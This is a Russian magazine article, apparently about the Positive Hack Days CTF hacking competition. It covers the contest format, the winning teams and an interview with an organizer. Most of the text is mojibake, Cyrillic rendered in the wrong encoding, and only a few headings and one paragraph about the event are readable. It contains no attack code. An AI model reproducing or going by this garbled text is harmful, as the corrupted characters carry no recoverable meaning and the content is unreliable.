ÂÜÌÏ, ÐÏÇÁÌÔÊ, ÒÌÉÙËÏÍ ÍÎÏÄÏ ÅÌà ÏÓÃÆÅÆÎÎÏÄÏ ÃÑÆÍÆÎÉ, ÐÏÞÓÏ-

ÍÔ ÔØÁÒÓÎÉËÁÍ ÂÔËÃÁÌÝÎÏ ÎÆËÏÄÅÁ ÂÜÌÏ ÔÓÆÑÆÓÝ ÐÏÓ ÒÏ ÌÂÁ ÉÌÉ 
ÏÓÃÌÆØÝÒà ÎÁ ÆÅÔ. ¨ÁÅÁÎÉà ÏÖÃÁÓÜÃÁÌÉ ÃÒÆ ÎÁÐÑÁÃÌÆÎÉà ©¢ — 
ÑÆÃÆÑÒÉÎÄ, ÂÆÈÏÐÁÒÎÏÒÓÝ ÃÆÂ-ÐÑÉÌÏÇÆÎÉÊ, ÂÆÈÏÐÁÒÎÏÒÓÝ ÏÐÆÑÁ-
×ÉÏÎÎÜÖ ÒÉÒÓÆÍ, ÂÆÈÏÐÁÒÎÏÒÓÝ ÐÑÉËÌÁÅÎÜÖ ÒÆÑÃÉÒÏÃ É Ó.Ð., Á ÅÌà 
ÌßÂÉÓÆÌÆÊ ËÌÁÒÒÉØÆÒËÉÖ CTF ÂÜÌÉ ÓÁËÇÆ ÐÑÆÅÌÏÇÆÎÜ ÈÁÅÁÎÉà ÉÈ 
ÑÁÈÑàÅÁ «ÔÄÁÅÁÊËÁ», ÐÏÞÓÏÍÔ ËÁÇÅÜÊ ÔØÁÒÓÎÉË ÍÏÄ ÐÑÏàÃÉÓÝ ÒÆÂà 
É ÐÏÌÔØÉÓÝ ÔÅÏÃÏÌÝÒÓÃÉÆ ÏÓ «ÑÁÈÎÏÏÂÑÁÈÉà ÃËÔÒÏÃ».

Суть соревнования
²ÔÓÝ ÉÄÑÜ ÈÁËÌßØÁÌÁÒÝ Ã ÓÏÍ, ØÓÏ ËÁÇÅÁà ÉÈ ËÏÍÁÎÅ ÐÏÌÔØÉÌÁ 
Ã ÒÃÏÆ ÑÁÒÐÏÑàÇÆÎÉÆ ËÏÍÐÝßÓÆÑÎÔß ÒÉÒÓÆÍÔ, ÉÎÕÑÁÒÓÑÔËÓÔÑÔ 
ÉÈ ÃÉÑÓÔÁÌÝÎÜÖ ÒÆÑÃÆÑÏÃ, Ã ËÏÓÏÑÏÊ ÂÜÌÏ ÏÒÓÁÃÌÆÎÏ ÎÆÒËÏÌÝËÏ 
ÔàÈÃÉÍÏÒÓÆÊ É ÎÁÂÏÑ «ÕÌÁÄÏÃ» — ÔÎÉËÁÌÝÎÜÖ ÉÅÆÎÓÉÕÉËÁÓÏÑÏÃ. 
±ÏÌÝ ÕÌÁÄÁ ÉÒÐÏÌÎàÌÁ ÏÒÏÂÁà ÒÓÑÏØËÁ ÐÑÏÄÑÁÍÍÎÏÄÏ ËÏÅÁ.  ¨ÁÅÁØÁ 
ÔØÁÒÓÎÉËÏÃ — ÈÁÚÉÚÁÓÝ ÒÃÏß ÒÉÒÓÆÍÔ ÏÓ ÅÑÔÄÉÖ ËÏÍÁÎÅ, ÔÒÓÑÁÎàà 
ÔàÈÃÉÍÏÒÓÉ, ÁÓÁËÏÃÁÓÝ ÉÖ ÒÉÒÓÆÍÜ É ÈÁÖÃÁÓÜÃÁÓÝ ÕÌÁÄÉ. ²ÌÏÇÎÏÒÓÝ 
ÒÏÑÆÃÎÏÃÁÎÉß ÓÁËÇÆ ÐÑÉÅÁÃÁÌÏ ÓÏ, ØÓÏ ÒÆÑÃÉÒÜ ÑÆÄÔÌàÑÎÏ ÉÈÍÆ-
ÎàÌÉ ÒÃÏÆ ÒÏÒÓÏàÎÉÆ É ÃÍÆÒÓÆ Ò ÞÓÉÍ ÐÏàÃÌàÌÉÒÝ ÎÏÃÜÆ ÔàÈÃÉÍÏ-
ÒÓÉ, Á ÒÓÁÑÜÆ ÉÒØÆÈÁÌÉ.

Ïîçèòèâíûé CTF
  19 ìàÿ â êëóáå «Ìîëîäàÿ ãâàðäèÿ» â ðàìêàõ ôîðóìà ïî 

èíôîðìàöèîííîé áåçîïàñíîñòè Positive Hack Days, îðãàíèçîâàííîãî 
êîìïàíèåé Positive Technologies, ïðîøëè ìåæäóíàðîäíûå 
ñîðåâíîâàíèÿ õàêåðîâ CTF. 10 êîìàíä èç Ðîññèè, ÑØÀ, Èíäèè è 
Ôðàíöèè 8 ÷àñîâ ïîäðÿä äåìîíñòðèðîâàëè ìàñòåðñòâî â ñåòåâûõ 
àòàêàõ è çàùèòå ñîáñòâåííûõ ñåðâèñîâ.
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´ÒÐÆÙÎÏÊ ÒØÉÓÁÌÁÒÝ ÁÓÁËÁ, ËÏÓÏÑÁà ÐÑÉ-
ÃÏÅÉÓ Ë ÐÏÌÔØÆÎÉß ÎÁ ÁÓÁËÔÆÍÏÊ ÒÉÒÓÆÍÆ 
ÈÁÃÆÓÎÏÄÏ ËÌßØÁ. ¨Á ÓÁËÔß ÁÓÁËÔ, ÈÁÃÆÑ-
ÙÆÎÎÔß ÑÆÄÉÒÓÑÁ×ÉÆÊ ÎÁÊÅÆÎÎÏÄÏ ÃÏ ÃÑÁ-
ÇÆÒËÏÊ ÒÉÒÓÆÍÆ ÕÌÁÄÁ, ËÏÍÁÎÅÁ ÐÏÌÔØÁÌÁ 
ËÏÎËÔÑÒÎÜÆ ÏØËÉ, Á ÉÖ ÒÏÐÆÑÎÉËÉ, ÐÑÏÙÌà-
ÐÉÃÙÉÆ ÙÓÔÑÍ, ÙÓÑÁÕÏÃÁÌÉÒÝ. °ÑÉ ÞÓÏÍ 
ÎÆÌÝÈà ÂÜÌÏ ÃÜÐÏÌÎàÓÝ ÌßÂÜÆ ÅÆÒÓÑÔËÓÉÃ-
ÎÜÆ ÅÆÊÒÓÃÉà, ËÁË ÐÑÏÓÉÃ ÒÏÐÆÑÎÉËÏÃ, ÓÁË 
É ÐÑÏÓÉÃ ÒÉÒÓÆÍÜ ËÏÎËÔÑÒÁ. £ÒÆ ÅÆÊÒÓÃÉà 
ÔØÁÒÓÎÉËÏÃ ÕÉËÒÉÑÏÃÁÌÉÒÝ ÒÉÒÓÆÍÏÊ É 
ÃÜÃÏÅÉÌÉÒÝ ÎÁ ËÏÎËÔÑÒÎÜÆ ÓÁÂÌÏ.
£ÒÆ ÈÁÌÏÇÆÎÎÜÆ ÔàÈÃÉÍÏÒÓÉ ÂÜÌÉ ÎÆ 
ÃÜÍÜÙÌÆÎÜ, ËÁË Ã ÂÏÌÝÙÉÎÒÓÃÆ ÅÑÔ-
ÄÉÖ CTF, Á ÃÈàÓÜ ÉÈ ÑÆÁÌÝÎÏÊ ÇÉÈÎÉ. 
®ÁÐÑÉÍÆÑ, Ã ËÁØÆÒÓÃÆ ËÏÎËÔÑÒÎÏÄÏ °¯ 
ÏÑÄÁÎÉÈÁÓÏÑÜ ÑÁÈÑÁÂÏÓÁÌÉ ÐÑÏÓÏÓÉÐ 
ÒÉÒÓÆÍÜ ËÌÁÒÒÁ SCADA (ÒÉÒÓÆÍ, Ò ÐÏÍÏ-
ÚÝß ËÏÓÏÑÜÖ ÏÂÜØÎÏ ÔÐÑÁÃÌàßÓÒà ÑÁÈÌÉØ-
ÎÜÆ ÐÑÏÍÜÙÌÆÎÎÜÆ ÏÂÛÆËÓÜ).
¦ÚÆ ÏÅÎÁ ÉÈßÍÉÎËÁ ÒÏÑÆÃÎÏÃÁÎÉÊ ÈÁËÌß-
ØÁÌÏÒÝ Ã ÓÏÍ, ØÓÏ ÏÎÉ ÒÏÐÑÏÃÏÇÅÁÌÉÒÝ ËÑÁ-
ÒÉÃÏÊ ÌÆÄÆÎÅÏÊ, ÃÒÆ ÈÁÅÁÎÉà ÂÜÌÉ ÃÒÓÑÏÆ-
ÎÜ Ã ÏÅÎÔ ÒßÇÆÓÎÔß ÌÉÎÉß, Á ÐÑÉ ÒÍÆÎÆ 
ÈÁÅÁÎÉÊ ÐÏËÁÈÜÃÁÌÉÒÝ ÒÏÏÓÃÆÓÒÓÃÔßÚÉÆ 
ÃÉÅÆÏËÌÉÐÜ.
²ÏÄÌÁÒÎÏ ÌÆÄÆÎÅÆ, ÍÆÇÅÔÎÁÑÏÅÎÁà ËÏÒ-
ÍÉØÆÒËÁà ÞËÒÐÆÅÉ×Éà ÏÂÎÁÑÔÇÉÌÁ Ã 
ÏËÑÆÒÓÎÏÒÓàÖ ¿ÐÉÓÆÑÁ ÓÁÉÎÒÓÃÆÎÎÜÊ ÍÏÎÏ-
ÌÉÓ, ÉÍÆßÚÉÊ ÕÏÑÍÔ ÐÁÑÁÌÌÆÌÆÐÉÐÆÅÁ. 
®ÁÖÏÅËÔ ÎÁÈÃÁÌÉ PHD (Parallelepiped Habile 
Deflective). «ÏÄÅÁ ÍÏÎÏÌÉÓ ÐÏÐÜÓÁÌÉÒÝ 
ÉÒÒÌÆÅÏÃÁÓÝ, ÆÄÏ ËÏÐÉÉ ÎÆÐÏÒÓÉÇÉÍÜÍ 
ÏÂÑÁÈÏÍ ÐÏàÃÉÌÉÒÝ ÃÏ ÃÒÆÖ ÃÆÅÔÚÉÖ 
ÒÓÑÁÎÁÖ ÍÉÑÁ. ©ÒÒÌÆÅÏÃÁÓÆÌÉ, ÐÑÏÕÆÒÒÏÑ 
¡ÎÉÒÉÍÉÒ É ÅÏËÓÏÑ °ÁÃÌÏÃ, ÉÈÔØÉÌÉ àÃÌÆ-
ÎÉÆ É ÐÑÉÙÌÉ Ë ÃÜÃÏÅÔ, ØÓÏ PHD àÃÌàÆÓÒà 
ÏÄÑÏÍÎÜÍ ÑÁÒÐÑÆÅÆÌÉÓÆÌÝÎÜÍ ÓÑÁÎÒ-

ÕÏÑÍÁÓÏÑÏÍ, ÁËËÔÍÔÌÉÑÔßÚÉÍ ÞÎÆÑÄÉß 
ËÏÒÍÉØÆÒËÏÄÏ ÉÈÌÔØÆÎÉà É ÐÆÑÆÅÁßÚÉÍ ÆÆ 
ÒÃÏÉÍ ÈÆÍÎÜÍ ËÏÐÉàÍ. £ ÑÆÈÔÌÝÓÁÓÆ ÑÁÈÃÉ-
ÓÉà ËÏÐÉÉ ÍÏÎÏÌÉÓÁ ÍÏÄÔÓ ÐÏËÑÜÓÝ ÐÏÓÑÆÂ-
ÎÏÒÓÉ ØÆÌÏÃÆØÆÒÓÃÁ Ã ÞÎÆÑÄÏÑÆÒÔÑÒÁÖ ÎÁ 
ÒÏÓÎÉ ÌÆÓ ÃÐÆÑÆÅ. «ÑÏÍÆ ÞÓÏÄÏ, ÐÑÏÆË×ÉÉ 
ÍÏÄÔÓ ÏÂÍÆÎÉÃÁÓÝÒà ÉÎÕÏÑÍÁ×ÉÆÊ ØÆÑÆÈ 
ÉÎÓÆÑÎÆÓ. ¦ÚÆ ÏÅÎÏÊ ÞËÒÓÑÁÏÑÅÉÎÁÑÎÏÊ 
ÏÒÏÂÆÎÎÏÒÓÝß àÃÌàÆÓÒà ÓÏ, ØÓÏ ÍÏÎÏÌÉÓÜ 
ÂÌÏËÉÑÔßÓ ÃÆÒÝ ÍÉÑÏÃÏÊ ÃÏÆÎÎÜÊ ÐÏÓÆÎ×É-
ÁÌ. © ÃÏÓ, ËÁÇÅÁà ÒÓÑÁÎÁ ÒÏÂÉÑÁÆÓ ÞÌÉÓÎÔß 
ËÏÍÁÎÅÔ ÖÁËÆÑÏÃ ÅÌà ÑÁÈÑÔÙÆÎÉà ÍÏÎÏÌÉ-
ÓÏÃ ÃÑÁÇÆÒËÉÖ ÄÏÒÔÅÁÑÒÓÃ Ò ÐÏÍÏÚÝß ÒÆÓÆ-
ÃÜÖ ÁÓÁË É ÈÁÚÉÓÜ ÒÏÂÒÓÃÆÎÎÜÖ...

Итоги конкурса
¢ÏÌÝÙÆ ÃÒÆÖ ËÏÎËÔÑÒÎÜÖ ÏØËÏÃ ÐÏÌÔØÉÌÁ 
ËÏÍÁÎÅÁ ÉÈ ÔÎÉÃÆÑÒÉÓÆÓÁ «ÁÑÎÆÄÉ-ÆÌÏÎÁ 
Ã °ÉÓÒÂÔÑÄÆ (²¹¡) Plaid Parliament of 
Pwning (PPP) É ÈÁÂÑÁÌÁ ÐÑÉÈÏÃÜÆ 5 ÓÜÒàØ 
ÅÏÌÌÁÑÏÃ. £ÓÏÑÏÆ ÍÆÒÓÏ ÈÁÎàÌÁ ËÏÍÁÎÅÁ 
Leet More ÉÈ ²ÁÎËÓ-°ÆÓÆÑÂÔÑÄÒËÏÄÏ ÄÏÒÔ-
ÅÁÑÒÓÃÆÎÎÏÄÏ ÔÎÉÃÆÑÒÉÓÆÓÁ ÉÎÕÏÑÍÁ×ÉÏÎ-
ÎÜÖ ÓÆÖÎÏÌÏÄÉÊ, ÍÆÖÁÎÉËÉ É ÏÐÓÉËÉ (ÐÑÉÈ — 
3 ÓÜÒàØÉ ÅÏÌÌÁÑÏÃ). ³ÑÆÓÝÆÊ ÒÓÁÌÁ ËÏÍÁÎÅÁ 
ÆËÁÓÆÑÉÎÂÔÑÇ×ÆÃ HackerDom ÉÈ ´ÑÁÌÝÒËÏÄÏ 
ÄÏÒÔÅÁÑÒÓÃÆÎÎÏÄÏ ÔÎÉÃÆÑÒÉÓÆÓÁ, ÈÁÂÑÁÃ 2 
ÓÜÒàØÉ ÅÏÌÌÁÑÏÃ.
°Ï ÍÎÆÎÉß ÃÆÅÔÚÆÄÏ CTF ¥ÍÉÓÑÉà ¦ÃÓÆÆÃÁ, 
ËÏÍÁÎÅÁ ÉÈ ²¹¡ ÈÁÎàÌÁ ÐÆÑÃÏÆ ÍÆÒÓÏ Ò 
ÂÏÌÝÙÉÍ ÏÓÑÜÃÏÍ ÐÏ ÒÌÆÅÔßÚÉÍ ÐÑÉØÉ-
ÎÁÍ:
• ¯ÎÉ Ã ÂÏÌÝÙÆÊ ÒÓÆÐÆÎÉ ÂÜÌÉ ÒËÏÎ×ÆÎÓÑÉ-
ÑÏÃÁÎÜ ÎÁ ÉÎÕÑÁÒÓÑÔËÓÔÑÆ CTF, É ÞÓÏ ÎÁÉ-
ÂÏÌÆÆ ÐÑÁÃÉÌÝÎÁà ÒÓÑÁÓÆÄÉà. £ ÒÌÆÅÔßÚÆÍ 
ÄÏÅÔ ÎÁ PHDAYS CTF 2012 ÔÒÌÏÃÉà ÎÆÍÎÏÄÏ 
ÐÏÍÆÎàÆÓÒà, É ÆÅÉÎÒÓÃÆÎÎÏ ÃÆÑÎÏÄÏ ÐÏÅ-
ÖÏÅÁ ÔÇÆ ÎÆ ÂÔÅÆÓ. ¯ÑÄÁÎÉÈÁÓÏÑÜ ÐÑÆÅÌÏÇÁÓ 

ÎÆÒËÏÌÝËÏ ÑÁÃÎÏÈÎÁØÎÜÖ ÐÏ ÏØËÁÍ ÒÓÑÁÓÆ-
ÄÉÊ.
• °ÑÉ ÎÁÖÏÇÅÆÎÉÉ ÔàÈÃÉÍÏÒÓÆÊ, Ã ÏÓÌÉØÉÆ 
ÏÓ ÒÃÏÉÖ ËÏÎËÔÑÆÎÓÏÃ, PPP ÁÃÓÏÍÁÓÉÈÉÑÏÃÁ-
ÌÁ ÞËÒÐÌÏÉÓ ÅÌà ÍÁÒÒÏÃÏÄÏ ÒÂÏÑÁ ËÌßØÆÊ Ò 
ÉÎÕÑÁÒÓÑÔËÓÔÑ ËÏÍÁÎÅ ÒÏÐÆÑÎÉËÏÃ.
• «ÏÍÁÎÅÁ PPP ÖÏÑÏÙÏ É ÃÏÃÑÆÍà ÈÁÚÉÚÁ-
ÌÁ ÒÃÏÉ ÒÆÑÃÉÒÜ, ÐÏÞÓÏÍÔ ÐÏÓÆÑàÌÁ ÏØÆÎÝ 
ÍÁÌÏ ÏØËÏÃ ÐÑÉ ÎÁÐÁÅÆÎÉàÖ ÒÏÐÆÑÎÉËÏÃ.
• ²ÓÔÅÆÎÓÜ ÉÈ ²¹¡ ÃÎÉÍÁÓÆÌÝÎÏ ÒÌÆ-
ÅÉÌÉ ÈÁ ÅÏÒÓÔÐÎÏÒÓÝß ÒÃÏÉÖ ÒÆÑÃÉÒÏÃ, 
ÓÆÍ ÒÁÍÜÍ ÐÏÌÔØÉÌÉ ÍÉÎÉÍÁÌÝÎÏÆ ØÉÒÌÏ 
ÙÓÑÁÕÎÜÖ ÂÁÌÌÏÃ.
• ¡ÍÆÑÉËÁÎ×Ü ÑÁÎÆÆ ÍÎÏÄÏ ÔØÁÒÓÃÏÃÁÌÉ Ã 
ÒÏÑÆÃÎÏÃÁÎÉàÖ ÓÉÐÁ CTF. «¾ÓÏ ÎÆ ÐÆÑÃÜÊ 
ÎÁÙ ÏÐÜÓ ÔØÁÒÓÉà Ã ÒÏÑÆÃÎÏÃÁÎÉàÖ CTF, 
ÎÏ ÎÁ PHD CTF ÎÁÍ ÃÐÆÑÃÜÆ ÐÑÉÙÌÏÒÝ ÎÆ 
ÓÏÌÝËÏ ÃÈÌÁÍÜÃÁÓÝ ØÔÇÉÆ ÑÆÒÔÑÒÜ, ÎÏ É 
ÈÁÚÉÚÁÓÝ ÒÏÂÒÓÃÆÎÎÜÆ. Ü Ò ÔÅÏÃÏÌÝÒÓÃÉ-
ÆÍ ÐÑÉÍÆÍ ÔØÁÒÓÉÆ Ã ÒÌÆÅÔßÚÆÍ ÄÏÅÔ», — 
ÑÁÒÒËÁÈÜÃÁÆÓ ÏÅÉÎ ÉÈ ØÌÆÎÏÃ ËÏÍÁÎÅÜ.
´ØÁÒÓÎÉËÉ ËÏÍÁÎÅÜ PPP ÐÑÉÆÖÁÌÉ Ã 
±ÏÒÒÉß ÃÐÆÑÃÜÆ É, ËÑÏÍÆ ÐÏÒÆÚÆÎÉà 
PHDays, ÔÒÐÆÌÉ ÐÏÄÔÌàÓÝ ÐÏ ×ÆÎÓÑÔ 
ÏÒËÃÜ É ©ÈÍÁÊÌÏÃÒËÏÍÔ ÐÁÑËÔ É ÃÈÄÌà-
ÎÔÓÝ ÎÁ ÄÌÁÃÎÏÆ ÈÅÁÎÉÆ ¤ .́ ±ÔÒÒËÉÆ 
CTF ÔÅÉÃÉÌÉ ÉÖ ÒÃÏÆÊ ÎÆÏÂÜØÎÏÒÓÝß: 
«Ü ÂÜÌÉ ÐÏÑÁÇÆÎÜ, ËÏÄÅÁ ÐÏÐÁÌÉ Ã ÓÏ 
ÍÆÒÓÏ, ÄÅÆ ÐÑÏÃÏÅÉÌÉÒÝ CTF. ÁÌÏ ÓÏÄÏ, 
ØÓÏ ÞÓÏ ÂÜÌ ÎÏØÎÏÊ ËÌÔÂ, Á ÎÆ ÒÓÁÎÅÁÑÓ-
ÎÜÊ ËÏÎÕÆÑÆÎ×-ÈÁÌ, ÎÏ ÃÒÆ, ØÓÏ ÓÁÍ ÂÜÌÏ, 
ÃÜÄÌàÅÆÌÏ ÈÁÖÃÁÓÜÃÁßÚÆ. ²ÏÑÆÃÎÏÃÁÎÉà 
ÂÜÌÉ ÏÓÌÉØÎÏ ÏÑÄÁÎÉÈÏÃÁÎÜ. ´ ÎÁÒ ÂÜÌÏ 
ÎÆ ÓÏÌÝËÏ ÔÊÍÁ ÈÁÅÁØ, ÎÏ ÆÚÆ ÐÆÑÆÅ ËÁÇ-
ÅÜÍ ÎÏÃÜÍ ÏÂÎÏÃÌÆÎÉÆÍ ÏÑÄÁÎÉÈÁÓÏÑÜ 
ÐÏËÁÈÜÃÁÌÉ ÐÔÄÁßÚÉÆ ÃÉÅÆÏËÌÉÐÜ, Á ÒÁÍÉ 
ÏÂÎÏÃÌÆÎÉà ÐÆÑÆÅÁÃÁÌÉÒÝ ÎÁÍ Ã ËÏÎÃÆÑÓÁÖ 
Ò ÐÏÍÆÓËÏÊ «²ÏÃÆÑÙÆÎÎÏ ÒÆËÑÆÓÎÏ».
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ВЗЛОМ

²ÆÑÄÆÊ ¤ÏÑÅÆÊØÉË, ÓÆÖÎÉØÆÒËÉÊ ÅÉÑÆËÓÏÑ 
Positive Technologies

- PHD — ÅÏÃÏÌÝÎÏ ÎÆÏÂÜØÎÏÆ ÍÆÑÏÐÑÉàÓÉÆ ÅÌà ÑÏÒÒÉÊÒËÏÄÏ 
©³-ÑÜÎËÁ. «ÁË Ã ÐÑÉÎ×ÉÐÆ ÐÑÉÙÌÁ Ã ÄÏÌÏÃÔ ÍÜÒÌÝ ÏÑÄÁÎÉÈÏÃÁÓÝ 
ÐÏÅÏÂÎÏÆ ÒÏÂÜÓÉÆ?

ÜÒÌÝ ÃÉÓÁÌÁ Ã ÃÏÈÅÔÖÆ ÔÇÆ ÅÁÃÎÏ, 
ÐÑÉØÆÍ ÎÆ ÓÏÌÝËÏ Ã ÎÁÙÉÖ ÄÏÌÏ-
ÃÁÖ. £ ÐÏÒÌÆÅÎÆÆ ÃÑÆÍà ÐÏàÃÉÌÏÒÝ 
ÍÎÏÇÆÒÓÃÏ ÉÎÉ×ÉÁÓÉÃ ÐÏ ÉÈÍÆÎÆ-
ÎÉß ÕÏÑÍÁÓÏÃ ÍÆÑÏÐÑÉàÓÉÊ, ÎÁÙÉ 
ËÏÌÌÆÄÉ ÐÜÓÁßÓÒà ÒÅÆÌÁÓÝ ØÓÏ-ÓÏ 
ÎÆÏÂÜØÎÏÆ. ¯ÒÆÎÝß ÐÑÏÙÌÏÄÏ ÄÏÅÁ 
ÍÜ ÐÏÎàÌÉ, ØÓÏ ÎÁ ÑÜÎËÆ ØÆÄÏ-ÓÏ 
ÎÆ ÖÃÁÓÁÆÓ, ÎÆ ÖÃÁÓÁÆÓ ÓÑÉÃÉÁÌÝÎÜÖ 
ÃÆÚÆÊ, ËÏÓÏÑÜÆ ÂÜÌÉ ÂÜ ÉÎÓÆ-
ÑÆÒÎÜ ÎÁÍ É ÌßÅàÍ, Ò ËÏÓÏÑÜÍÉ 
ÍÜ ÏÂÚÁÆÍÒà. ¸ÓÏ ÞÓÏ ÈÁ ÃÆÚÉ, 
ÍÜ ÏÒÏÂÏ ÎÆ ÐÏÎÉÍÁÌÉ É ÏËÏÎØÁ-
ÓÆÌÝÎÏ ÉÖ ÒÐÉÒÏË ÒÕÏÑÍÉÑÏÃÁÌÒà, 

ÎÁÃÆÑÎÏ, ÎÁ ËÏÑÐÏÑÁÓÉÃÎÏÊ ÃÆØÆÑÉÎËÆ ÐÏ ÒÌÔØÁß ®¤, ÄÅÆ Ô ÎÁÒ, Ã 
ÏÒÎÏÃÎÏÍ, É ÐÑÉÖÏÅàÓ Ã ÄÏÌÏÃÔ ÃÒÆ ÒÃÆÓÌÜÆ ÉÅÆÉ. £ ÐÑÏÙÌÏÍ ÄÏÅÔ 
ÉÍÆÎÎÏ ÎÁ ÓÁËÏÊ ÃÆØÆÑÉÎËÆ ÍÜ ÐÑÉÅÔÍÁÌÉ RusCrypto CTF. £ ÞÓÏÍ 
ÄÏÅÔ ÒÕÏÑÍÉÑÏÃÁÌÁÒÝ ÉÅÆà Positive Hack Days ËÁË ËÏÎÒÏÌÉÅÁ×Éà 
ÃÒÆÖ ÁËÓÉÃÎÏÒÓÆÊ, ËÏÓÏÑÜÆ ÍÜ ÅÏ ÞÓÏÄÏ ÅÆÌÁÌÉ Ã ÑÁÍËÁÖ ±ÔÒËÑÉÐÓÏ, 
InfosecurityMoscow, Chaos Constructions, ©ÎÕÏÂÆÈ É ÅÑÔÄÉÖ ÍÆÑÏ-
ÐÑÉàÓÉÊ. 

- ¦ÒÌÉ ÉÅÆà PHD ÏÕÏÑÍÉÌÁÒÝ Ã ÎÏÃÜÊ ÄÏÅ, ËÁË ÔÅÁÌÏÒÝ ÐÏÅÄÏÓÏ-
ÃÉÓÝÒà ÃÒÆÄÏ ÈÁ 4 ÍÆÒà×Á? 
Ü ÎÆÅÁÃÎÏ ÑÁÈÍÜÙÌàÌÉ Ï ÑÁÈÃÉÓÉÉ Positive Hack Days. ¥ÔÍÁÌÉ, 
ËÁË ÆÄÏ ÍÏÇÎÏ ÒÅÆÌÁÓÝ Ò ÍÆÎÝÙÉÍ ÔÚÆÑÂÏÍ ÅÌà ËÏÍÐÁÎÉÉ, ØÓÏÂÜ 
ÞÓÏ ÂÜÌÏ ÒÐÏËÏÊÎÏ, ÐÌÁÎÏÍÆÑÎÏ É ÑÁÈÍÆÑÆÎÎÏ. © ÍÜ ÐÏÎàÌÉ, ØÓÏ 
ÆÒÌÉ ÍÜ ÖÏÓÉÍ ÅÆÌÁÓÝ ÍÆÑÏÐÑÉàÓÉÆ ÉÎÓÆÑÆÒÎÜÍ É ÈÁÐÏÍÉÎÁßÚÉÍ-
Òà, ÓÏ ÏÎÏ ÅÏÌÇÎÏ ÅÆÌÁÓÝÒà ÎÁ ÐÑÆÅÆÌÆ ÃÏÈÍÏÇÎÏÒÓÆÊ. £ ÞÓÏÍ ÄÏÅÔ 
ÂÜÌÏ, ËÏÎÆØÎÏ, ÏØÆÎÝ ÒÌÏÇÎÏ, ÐÏÓÏÍÔ ØÓÏ ÏÓ ÉÅÆÉ É ËÏÎ×ÆÐ×ÉÉ ÂÔË-
ÃÁÌÝÎÏ ÈÁ 4 ÍÆÒà×Á ÎÁÍ ÎÔÇÎÏ ÂÜÌÏ ÅÏÃÆÒÓÉ ÍÆÑÏÐÑÉàÓÉÆ ÅÏ ÆÄÏ 

ÑÁÂÏØÆÄÏ ÒÏÒÓÏàÎÉà. £ ÐÏÒÌÆÅÎÆÆ ÃÑÆÍà ÂÏÌÝÙÉÎÒÓÃÏ ÃÏÃÌÆØÆÎÎÜÖ 
Ã ÏÑÄÁÎÉÈÁ×Éß ÒÏÓÑÔÅÎÉËÏÃ ÒÐÁÌÉ ÐÏ ÎÆÒËÏÌÝËÏ ØÁÒÏÃ Ã ÅÆÎÝ, Á 
ÎÆËÏÓÏÑÜÆ ÎÆ ÒÐÁÌÉ É ÒÏÃÒÆÍ. ±ÆÈÔÌÝÓÁÓ ÎÁÒ ÔÅÏÃÌÆÓÃÏÑàÆÓ ÎÁ 70%, 
É ÞÓÏ ÖÏÑÏÙÏ. ¯ÒÓÁÃÙÉÆÒà 30% — ÓÏ, ØÓÏ ÎÆ ÔÒÐÆÌÉ ÉÌÉ ÎÆ ÒÅÆÌÁ-
ÌÉ ÓÁË, ËÁË ÖÏÓÆÌÉ. ² ÅÑÔÄÏÊ ÒÓÏÑÏÎÜ, ÒÔÅà ÐÏ ÏÂÑÁÓÎÏÊ ÒÃàÈÉ, ÐÏ 
ÏÓÈÜÃÁÍ, ÓÏ, ØÓÏ ÂÜÌÏ ÒÅÆÌÁÎÏ, ÐÑÆÃÈÏÙÌÏ ÏÇÉÅÁÎÉà, É ÞÓÏ ÃÆÌÉËÏ-
ÌÆÐÎÏ.  

- £ ÒÌÆÅÔßÚÆÍ ÄÏÅÔ ÂÔÅÆÓ ÃÒÆ ÓÏ ÇÆ ÒÁÍÏÆ ÉÌÉ ÐÑÏÄÑÁÍÍÁ ÂÔÅÆÓ 
ÑÁÒÙÉÑÆÎÁ?
¦ÒÌÉ ÅÆÌÁÓÝ ÉÈ Positive Hack Days ÐÏÃÓÏÑàßÚÆÆÒà ÍÆÑÏÐÑÉàÓÉÆ, 
ÞÓÁËÉÊ ÍÆÅÉÁÐÑÏÅÔËÓ, ÓÏ ÍÏÇÎÏ ÎÉØÆÄÏ ÎÏÃÏÄÏ ÎÆ ÅÆÌÁÓÝ. ®Ï ÞÓÏ 
ÂÔÅÆÓ ÎÆÉÎÓÆÑÆÒÎÏ ÎÉ ÎÁÍ, ÎÉ ÔØÁÒÓÎÉËÁÍ. ¯ÅÎÁ ÉÈ ÏÄÑÏÍÎÜÖ 
ÒÏÒÓÁÃÌàßÚÉÖ PHD, ÐÏÍÉÍÏ ÒÏ×ÉÁÌÝÎÏÊ ÃÁÇÎÏÒÓÉ, ÐÑÏÅÃÉÇÆÎÉà É 
ÏÂÍÆÎÁ ÉÎÕÏÑÍÁ×ÉÆÊ, — ÞÓÏ ÔÅÏÃÏÌÝÒÓÃÉÆ, ËÏÓÏÑÏÆ ÍÜ ÐÏÌÔØÁÆÍ, 
ÅÆÌÁà ÓÁËÔß, à ÒØÉÓÁß, ÄÑÁÎÅÉÏÈÎÔß ÃÆÚÝ. °ÏÞÓÏÍÔ, ØÓÏÂÜ ÆÄÏ ÂÜÌÏ 
ÍÎÏÄÏ, ÎÁÅÏ ÅÆÌÁÓÝ ÄÏÑÁÈÅÏ ÂÏÌÝÙÆ. ¸ÓÏ ËÏÎËÑÆÓÎÏ ÂÔÅÆÓ ÉÈÍÆÎÆ-
ÎÏ, à ÎÆ ÂÔÅÔ ÈÁÑÁÎÆÆ ÄÏÃÏÑÉÓÝ. ÏÄÔ ÓÏÌÝËÏ ÒËÁÈÁÓÝ, ØÓÏ CTF ÂÔÅÆÓ 
ÐÑÏÒÓÏ ÄÑÁÎÅÉÏÈÎÜÊ! ¢ÔÅÔÓ ÏÂÛÆÅÉÎÆÎÜ Ã ÆÅÉÎÏÆ ÉÄÑÏÃÏÆ ÐÑÏ-
ÒÓÑÁÎÒÓÃÏ ÈÏÎÁ CTF, ÐÌÏÚÁÅËÁ PHD, ÉÎÓÆÑÎÆÓ…  ¡ËÓÉÃÎÏÒÓÉ Ã ÑÁÍ-
ËÁÖ CTF ÂÔÅÔÓ ÅÏÐÏÌÎàÓÝ ÅÑÔÄ ÅÑÔÄÁ, ÍÜ ÐÏÌÎÏÒÓÝß ÐÆÑÆÑÁÂÏÓÁÆÍ 
ÃÉÈÔÁÌÉÈÁ×Éß, ÐÑÉÄÌÁÒÉÍ ÂÏÌÝÙÆ ËÏÍÁÎÅ.

- ©ÎÏÒÓÑÁÎÎÜÖ ÉÌÉ ÑÔÒÒËÉÖ? 
